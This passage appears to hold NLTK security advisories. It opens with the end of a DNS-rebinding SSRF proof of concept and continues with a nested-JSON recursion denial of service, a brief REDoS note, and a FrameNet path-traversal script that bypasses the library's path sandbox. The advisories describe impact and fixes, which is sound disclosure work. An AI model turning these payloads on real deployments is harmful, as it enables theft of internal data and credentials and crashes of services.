    port = start_internal_server()
    print(f"[*] internal loopback service: http://127.0.0.1:{port}/  (returns secret)\n")

    socket.getaddrinfo = _rebinding_getaddrinfo
    ps._resolve_hostname.cache_clear()  # fresh validation cache, as on a real process
    try:
        # ---- Control: a DIRECT loopback URL must be blocked by the filter ----
        print("[1] CONTROL: direct loopback URL (filter must block this)")
        direct = f"http://127.0.0.1:{port}/"
        try:
            fetch(direct)
            print(f"    [?] unexpected: {direct} was NOT blocked\n")
            control_ok = False
        except PermissionError as e:
            print(f"    [OK] blocked -> PermissionError: {e}\n")
            control_ok = True

        # ---- Attack: rebinding hostname bypasses the same filter ----
        print("[2] ATTACK: rebinding hostname (public at validate, loopback at connect)")
        evil = f"http://{ATTACKER_HOST}:{port}/"
        print(f"    fetching {evil}")
        try:
            body = fetch(evil)
            leaked = SECRET in body
            print(f"    body returned to caller: {body!r}")
            if leaked:
                print("\n  [VULN] loopback-only secret exfiltrated through pathsec.urlopen")
                print(f"         validated IP = {PUBLIC_IP} (public)  but  connected IP = 127.0.0.1")
                print(f"         non-blind SSRF despite ENFORCE = {ps.ENFORCE}")
                verdict = "VULNERABLE"
            else:
                print("\n  [?] fetch succeeded but secret marker not present")
                verdict = "INCONCLUSIVE"
        except PermissionError as e:
            # Patched build: validate against the connect-time IP (or pin/resolve-once).
            print(f"\n  [SAFE] blocked -> PermissionError: {e}")
            verdict = "NOT VULNERABLE"
    finally:
        socket.getaddrinfo = _real_getaddrinfo

    print("\n" + "=" * 62)
    print(f" Control (direct loopback blocked): {control_ok}")
    print(f" Result: {verdict}   (ENFORCE = {ps.ENFORCE})")
    print("=" * 62)


if __name__ == "__main__":
    main()

Impact

• Full-response (non-blind) SSRF. Because the fetched body is returned to the caller (e.g. nltk.data.load with format="raw"), an attacker can read responses from internal-only HTTP services, loopback admin interfaces, and — most seriously — the cloud instance metadata service, which on major cloud providers can expose IAM/service credentials and lead to cloud account compromise.
• Bypass of an explicit security control. It defeats the nltk.pathsec SSRF filter, including the ENFORCE mode that NLTK's documentation recommends precisely for environments where untrusted input may reach NLTK. Deployments that adopted that boundary are not actually protected, and the lru_cache annotation claiming to mitigate rebinding makes the false assurance worse.

Natural Language Toolkit (NLTK) has unbounded recursion in JSONTaggedDecoder.decode_obj() may cause DoS

Summary

JSONTaggedDecoder.decode_obj() in nltk/jsontags.py calls itself recursively without any depth limit. A deeply nested JSON structure exceeding sys.getrecursionlimit() (default: 1000) will raise an unhandled RecursionError, crashing the Python process.

Affected code

File: nltk/jsontags.py, lines 47–52 python @classmethod def decode_obj(cls, obj): if isinstance(obj, dict): obj = {key: cls.decode_obj(val) for (key, val) in obj.items()} elif isinstance(obj, list): obj = list(cls.decode_obj(val) for val in obj)

Proof of Concept

import sys, json
from nltk.jsontags import JSONTaggedDecoder

depth = sys.getrecursionlimit() + 50  # e.g. 1050
payload = '{"x":' * depth + "null" + "}" * depth

# Raises RecursionError, crashing the process
json.loads(payload, cls=JSONTaggedDecoder)

Impact

Any code path that passes externally-supplied JSON to JSONTaggedDecoder is vulnerable to denial of service. The severity depends on whether such a path exists in the calling code (e.g. nltk/data.py).

Suggested Fix

Add a depth parameter with a hard limit: python @classmethod def decode_obj(cls, obj, _depth=0): if _depth > 100: raise ValueError("JSON nesting too deep") if isinstance(obj, dict): obj = {key: cls.decode_obj(val, _depth + 1) for (key, val) in obj.items()} elif isinstance(obj, list): obj = list(cls.decode_obj(val, _depth + 1) for val in obj)

NLTK Vulnerable to REDoS

NLTK is vulnerable to REDoS in some RegexpTaggers used in the functions get_pos_tagger and malt_regex_tagger.

Natural Language Toolkit (NLTK) has path traversal in FramenetCorpusReader.frame() that allows arbitrary XML file read, bypassing the nltk.pathsec sandbox (ENFORCE=True)

Summary

FramenetCorpusReader.frame(name) interpolates a caller-supplied frame name into an XML file path that is read with the builtin open(), bypassing CorpusReader.open() and the nltk.pathsec sandbox — including strict ENFORCE=True mode. A ../ sequence in the name escapes the corpus root, yielding an arbitrary XML file read whose parsed content is returned to the caller.

Details

frame_by_name builds the path by joining the corpus root, the frame directory, and the caller-supplied name with a fixed .xml extension, with no containment check, then constructs an XMLCorpusView from that string path. Because the view is built from a string rather than a PathPointer, it reads with the builtin open(), so nltk.pathsec.validate_path() is never invoked and ENFORCE=True does not block the access. This is the same path-traversal class previously hardened for the generic corpus readers; frame_by_name never goes through CorpusReader.open(), so that protection does not apply.

The same string-path-into-XMLCorpusView pattern exists in two sibling methods that take a name from corpus data rather than the immediate caller: - doc() — uses the index entry filename field - the lexical-unit file loader — uses the lexUnit ID attribute

These are reachable through a malicious or attacker-modified FrameNet corpus index.

PoC

"""

import os
import sys
import tempfile
import warnings
from pathlib import Path

warnings.filterwarnings("ignore")

# --- Turn the documented strict sandbox ON, before importing the reader. ---
import nltk.pathsec as ps
ps.ENFORCE = True

import nltk
from nltk.corpus.reader.framenet import FramenetCorpusReader, FramenetError

FRAME_XML = (
    '<?xml version="1.0" encoding="UTF-8"?>\n'
    '<frame xmlns="http://framenet.icsi.berkeley.edu" ID="1337" name="pwned">\n'
    "<definition>SECRET-OUT-OF-ROOT-CONTENT</definition>\n"
    "</frame>\n"
)

BANNER = """\
===========================================================
 NLTK FramenetCorpusReader.frame() Path Traversal PoC
 nltk {ver}   |   nltk.pathsec.ENFORCE = {enforce}
===========================================================""".format(
    ver=nltk.__version__, enforce=ps.ENFORCE
)


def build_corpus():
    """Minimal valid FrameNet corpus + a frame-shaped secret OUTSIDE its root."""
    base = Path(tempfile.mkdtemp(prefix="fn_poc_"))
    root = base / "corpora" / "framenet"
    for d in ("frame", "fulltext", "lu"):
        (root / d).mkdir(parents=True)
    (root / "frameIndex.xml").write_text(
        '<?xml version="1.0"?><frameIndex></frameIndex>'
    )
    (root / "frRelation.xml").write_text(
        '<?xml version="1.0"?><frameRelations></frameRelations>'
    )

    # A frame-shaped XML file OUTSIDE the corpus root (the "sensitive" target).
    secret = base / "private"
    secret.mkdir()
    (secret / "secret.xml").write_text(FRAME_XML)

    return base, root, secret / "secret.xml"


def main():
    print(BANNER)
    base, root, secret_path = build_corpus()
    print(f"[*] corpus root : {root}")
    print(f"[*] secret file : {secret_path}  (OUTSIDE the root)\n")

    fn = FramenetCorpusReader(str(root), [])

    # Attacker-controlled frame name climbs out of <root>/frame/ up to <base>/private/secret.xml
    evil = os.path.join("..", "..", "..", "private", "secret")
    print(f"[*] calling   fn.frame({evil!r})")

    try:
        f = fn.frame(evil)
        definition = f["definition"]
        if "SECRET-OUT-OF-ROOT-CONTENT" in definition:
            print("\n  [VULN] out-of-root file was read and returned to caller")
            print(f"         frame name : {evil}")
            print(f"         frame ID   : {f['ID']}   name: {f['name']}")
            print(f"         definition : {definition}")
            print(f"\n  -> nltk.pathsec sandbox bypassed despite ENFORCE = {ps.ENFORCE}")
            verdict = "VULNERABLE"
        else:
            print(f"\n  [?] frame() returned but content unexpected: {definition!r}")
            verdict = "INCONCLUSIVE"
    except FramenetError as e:
        # Patched build (#3581): _reject_unsafe_path_component raises before open().
        print(f"\n  [SAFE] FramenetError: {e}")
        print("         traversal rejected before any file was opened (patched)")
        verdict = "NOT VULNERABLE"
    except Exception as e:
        print(f"\n  [SAFE] {type(e).__name__}: {e}")
        verdict = "NOT VULNERABLE"

    # Control: a plain absent name must fail as 'Unknown frame', NOT as a read.
    print("\n[CONTROL] benign absent name should be 'Unknown frame':")
    try:
        fn.frame("Definitely_Not_A_Frame")
        print("  [?] unexpectedly succeeded")
    except Exception as e:
        print(f"  ok -> {type(e).__name__}: {e}")

    print("\n" + "=" * 59)
    print(f" Result: {verdict}  (ENFORCE = {ps.ENFORCE})")
    print("=" * 59)


if __name__ == "__main__":
    main()

Impact

• Out-of-sandbox arbitrary XML read. Any application that routes attacker-influenced input into frame() can be made to read XML files from directories outside the intended corpus root and have their parsed content returned. frame() is a primary public API designed to accept a caller-specified frame name, so this is a natural exposure for any service exposing FrameNet lookups to user input.
• Broad read primitive. Only a fixed .xml extension is appended; the attacker controls both directory and basename, giving read any XML file the process can read. Full content disclosure requires frame-shaped XML; other files yield a distinguishable parse error that acts as a file-existence/readability oracle for arbitrary paths.
• Silent bypass of an advertised boundary. NLTK's SECURITY.md presents the nltk.pathsec sandbox and ENFORCE=True as a hard boundary for web apps, multi-tenant pipelines, and CI/CD. Because frame_by_name builds the path itself and reads through a string-path XMLCorpusView, the containment guard is never called and ENFORCE=True does not block the read — silently, with no error or warning.
• Crafted-corpus reach. Via doc() and the lexical-unit loader, a malicious FrameNet data directory drives the same traversal with no caller-supplied name.
• Sensitive targets. Depending on deployment, readable out-of-root XML can include application configuration, data exports, and on-disk credentials stored as XML; the oracle behavior also allows filesystem mapping. Where frame() output is reflected to the requester, disclosure is direct and non-blind.